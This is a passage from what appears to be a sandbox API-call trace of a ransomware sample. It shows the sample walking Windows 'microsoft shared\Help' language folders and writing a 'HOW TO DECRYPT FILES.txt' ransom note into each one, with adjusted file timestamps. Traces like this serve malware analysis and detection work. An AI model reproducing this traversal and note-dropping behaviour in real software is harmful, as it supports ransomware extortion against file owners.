ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.263] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.263] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.263] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.263] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.263] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.263] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.263] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.263] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*.*") returned="*.*" [0076.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\" [0076.263] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\") returned="" [0076.263] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\HOW TO DECRYPT FILES.txt" [0076.263] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041\\how to decrypt files.txt")) returned 0xffffffff [0076.263] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.265] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.266] CloseHandle (hObject=0x90) returned 1 [0076.266] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\hxdsui.dll" [0076.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.266] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.267] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1042", cAlternateFileName="")) returned 1 [0076.267] lstrcmpA (lpString1=".", lpString2="1042") returned -1 [0076.267] lstrcmpA (lpString1="..", lpString2="1042") returned -1 [0076.267] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.267] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1042" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" [0076.267] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.267] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.267] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.267] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.268] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.268] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*.*") returned="*.*" [0076.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\" [0076.268] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\") returned="" [0076.268] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\HOW TO DECRYPT FILES.txt" [0076.268] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042\\how to decrypt files.txt")) returned 0xffffffff [0076.268] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.270] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.270] CloseHandle (hObject=0x90) returned 1 [0076.270] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\hxdsui.dll" [0076.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.270] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.271] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1046", cAlternateFileName="")) returned 1 [0076.271] lstrcmpA (lpString1=".", lpString2="1046") returned -1 [0076.271] lstrcmpA (lpString1="..", lpString2="1046") returned -1 [0076.271] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.271] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1046" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" [0076.271] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.272] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.272] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.272] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.272] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.272] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.272] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.272] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.272] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.273] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.273] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*.*") returned="*.*" [0076.273] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\" [0076.273] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\") returned="" [0076.273] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\HOW TO DECRYPT FILES.txt" [0076.273] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046\\how to decrypt files.txt")) returned 0xffffffff [0076.273] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.275] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.275] CloseHandle (hObject=0x90) returned 1 [0076.275] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\hxdsui.dll" [0076.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.275] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.276] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1049", cAlternateFileName="")) returned 1 [0076.276] lstrcmpA (lpString1=".", lpString2="1049") returned -1 [0076.276] lstrcmpA (lpString1="..", lpString2="1049") returned -1 [0076.276] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.276] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1049" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" [0076.276] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.276] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.276] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.276] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.276] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.276] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.276] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.276] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.277] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*.*") returned="*.*" [0076.277] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\" [0076.277] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\") returned="" [0076.277] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\HOW TO DECRYPT FILES.txt" [0076.277] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049\\how to decrypt files.txt")) returned 0xffffffff [0076.277] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.279] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.279] CloseHandle (hObject=0x90) returned 1 [0076.279] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\hxdsui.dll" [0076.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.279] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.279] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="2052", cAlternateFileName="")) returned 1 [0076.280] lstrcmpA (lpString1=".", lpString2="2052") returned -1 [0076.280] lstrcmpA (lpString1="..", lpString2="2052") returned -1 [0076.280] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.280] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="2052" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" [0076.280] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.280] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.280] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.280] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.280] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.280] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.280] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.280] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.280] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.280] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.281] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*.*") returned="*.*" [0076.281] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\" | out: 